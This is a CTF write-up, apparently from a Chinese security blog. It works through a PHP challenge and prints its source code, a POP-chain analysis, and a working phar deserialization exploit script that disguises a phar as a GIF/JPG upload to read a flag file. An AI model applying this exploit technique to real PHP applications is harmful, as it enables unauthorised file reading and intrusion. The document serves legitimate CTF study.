目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
1300 字
7 分钟
POP链phar反序列化
POP链phar反序列化
首页。啥也没有。就一个IP。还有个查看文件和上传文件。 查看文件处。有个file参数。可能存在任意文件读取。

文件上传处。只允许图片类型。并且不返回路径

右键源代码有提示
<!--flag is in f1ag.php-->
先从文件读取处下手。
filter伪协议读取。。文件不存在????

直接输入index.php。返回了源码

根据线索。一个个都读出来 index.php
1<?php2header("content-type:text/html;charset=utf-8");3include 'base.php';4?>base.php
1<?php2 session_start();3?>4<!DOCTYPE html>5<html>6<head>7 <meta charset="utf-8">8 <title>web3</title>9 <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">10 <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>11 <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>12</head>13<body>14 <nav class="navbar navbar-default" role="navigation">15 <div class="container-fluid">16 <div class="navbar-header">17 <a class="navbar-brand" href="index.php">首页</a>18 </div>19 <ul class="nav navbar-nav navbra-toggle">20 <li class="active"><a href="file.php?file=">查看文件</a></li>21 <li><a href="upload_file.php">上传文件</a></li>22 </ul>23 <ul class="nav navbar-nav navbar-right">24 <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>25 </ul>26 </div>27 </nav>28</body>29</html>30<!--flag is in f1ag.php-->file.php
1<?php2header("content-type:text/html;charset=utf-8");3include 'function.php';4include 'class.php';5ini_set('open_basedir','/var/www/html/');6$file = $_GET["file"] ? $_GET['file'] : "";7if(empty($file)) {8 echo "<h2>There is no file to show!<h2/>";9}10$show = new Show();11if(file_exists($file)) {12 $show->source = $file;13 $show->_show();14} else if (!empty($file)){15 die('file doesn\'t exists.');16}17?>upload_file.php
1<?php2include 'function.php';3upload_file();4?>5<html>6<head>7<meta charest="utf-8">8<title>文件上传</title>9</head>10<body>11<div align = "center">12 <h1>前端写得很low,请各位师傅见谅!</h1>13</div>14<style>15 p{ margin:0 auto}16</style>17<div>18<form action="upload_file.php" method="post" enctype="multipart/form-data">19 <label for="file">文件名:</label>20 <input type="file" name="file" id="file"><br>21 <input type="submit" name="submit" value="提交">22</div>23
24</script>25</body>26</html>function.php
1<?php2//show_source(__FILE__);3include "base.php";4header("Content-type: text/html;charset=utf-8");5error_reporting(0);6function upload_file_do() {7 global $_FILES;8 $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";9 //mkdir("upload",0777);10 if(file_exists("upload/" . $filename)) {11 unlink($filename);12 }13 move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);14 echo '<script type="text/javascript">alert("上传成功!");</script>';15}16function upload_file() {17 global $_FILES;18 if(upload_file_check()) {19 upload_file_do();20 }21}22function upload_file_check() {23 global $_FILES;24 $allowed_types = array("gif","jpeg","jpg","png");25 $temp = explode(".",$_FILES["file"]["name"]);26 $extension = end($temp);27 if(empty($extension)) {28 //echo "<h4>请选择上传的文件:" . "<h4/>";29 }30 else{31 if(in_array($extension,$allowed_types)) {32 return true;33 }34 else {35 echo '<script type="text/javascript">alert("Invalid file!");</script>';36 return false;37 }38 }39}40?>class.php
1<?php2class C1e4r3{4 public $test;5 public $str;6 public function __construct($name)7 {8 $this->str = $name;9 }10 public function __destruct()11 {12 $this->test = $this->str;13 echo $this->test;14 }15}16
17class Show18{19 public $source;20 public $str;21 public function __construct($file)22 {23 $this->source = $file; //$this->source = phar://phar.jpg24 echo $this->source;25 }26 public function __toString()27 {28 $content = $this->str['str']->source;29 return $content;30 }31 public function __set($key,$value)32 {33 $this->$key = $value;34 }35 public function _show()36 {37 if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {38 die('hacker!');39 } else {40 highlight_file($this->source);41 }42
43 }44 public function __wakeup()45 {46 if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {47 echo "hacker~";48 $this->source = "index.php";49 }50 }51}52class Test53{54 public $file;55 public $params;56 public function __construct()57 {58 $this->params = array();59 }60 public function __get($key)61 {62 return $this->get($key);63 }64 public function get($key)65 {66 if(isset($this->params[$key])) {67 $value = $this->params[$key];68 } else {69 $value = "index.php";70 }71 return $this->file_get($value);72 }73 public function file_get($value)74 {75 $text = base64_encode(file_get_contents($value));76 return $text;77 }78}79?>首先从index.php分析
1include了一个base.php2base.php输出了一个REMOTE_ADDR。我的IP地址3也就是我首页的那个IP
接着分析file.php
1包含了function.php和class.php2设置了open_basedir。3用file_exists判断file参数的文件是否存在。怪不得我用base64读不了。伪协议不能用在这个函数4若文件存在。将要读取的文件赋值给Show类的$source。调用_show()5我们在class.php找到了这个函数。6public function _show(){7 if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {8 die('hacker!');9 } else{10 highlight_file($this->source);11 }12}将我们传入的文件名。经过正则过滤。如果包含了特殊字符就die退出。否则就读取源码
总结读取流程:文件名->file_exists_>正则过滤>读取
接下来看文件上传部分
1include function.php2upload_file()
1调用upload_file函数。2首先得经过upload_file_check()函数。3这个函数是判断文件后缀名的。必须是gif/jpeg/jpg/png4通过匹配后。进入upload_file_do()5这里就是上传文件了。文件名=md5(文件名+IP地址)我们上传个1.jpg。经过MD5+首页的IP地址运算得到结果。然后访问

当看到file.php判断文件是否存在用的是file_exists()函数。又看到class.php中。有三个类。并且两个类没被用到。不多说了。十有八九又是phar反序列化
直接去构造POP链
Show类中。自带文件读取功能。但是文件名不能带有flag。就算我们能通过phar反序列化后。还是绕不开这层正则匹配。这里就放弃了

1再看看其他类。发现Test类中。有一个魔法函数__get。当调用不存在的函数或属性时。就会自动调用__get函数。get函数又会调用__get。get又调用file_get读取文件。2大致流程就是:不存在的函数->__get魔法函数->get函数->file_get函数读取3那么我们就要找一个不存在的调用。4可以看到$this->str['str']->source。如果我将str['str']变成Test类。调用source函数。由于Test类没有source函数。就会触发魔法函数。调用__get。也就完成了上面的步骤
问题又来了。这个利用点再__toString魔法方法中。此魔术方法是输出时。比如echo什么的才会触发。还得继续找POP链
这不就找到了

理一下思路。
1通过Cle4r。将str赋值为Show类。2this->test=$this->Show类3echo $this->test;4触发Show类中的__tostring魔术方法。进入Show类。执行5$content=$this->str['str']->source;6那么我们将str['str']赋值为Test类。使其调用source。但是不存在。7接下来就进入了Test类。执行8__get($key)。这个$key。其实就是source。9get($key)10$value=this->params['source'];11file_get_contents($value);12由于Test类在构造函数中。定义了params是个数组。那么我们就定义params=array('source'=>'/var/www/html/fl1g.php');至此。整个POP链构造完成 下面开始构造EXP
1class C1e4r{2 public $test;3 public $str;4}5class Show{6 public $source;7 public $str;8}9class Test{10 public $file;11 public $params;12}13$c=new Test();14$c->params=array('source'=>'var/www/html/f1ag.php');15$b=new Show();16$b->str['str']=$c;17$a=new C1e4r();18$a->str=$b;19echo serialize($a);20@unlink("phar.phar");21$phar=new Phar("phar.phar");22$phar->startBuffering();23$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");24$phar->setMetadata($a);25$phar->addFromString("test.txt", "test");26$phar->stopBuffering();27?>将phar.phar修改为6.jpg上传。
phar触发得到flag

POP链phar反序列化
/posts/2021/11/pop-chain-phar-deserialization/ 部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录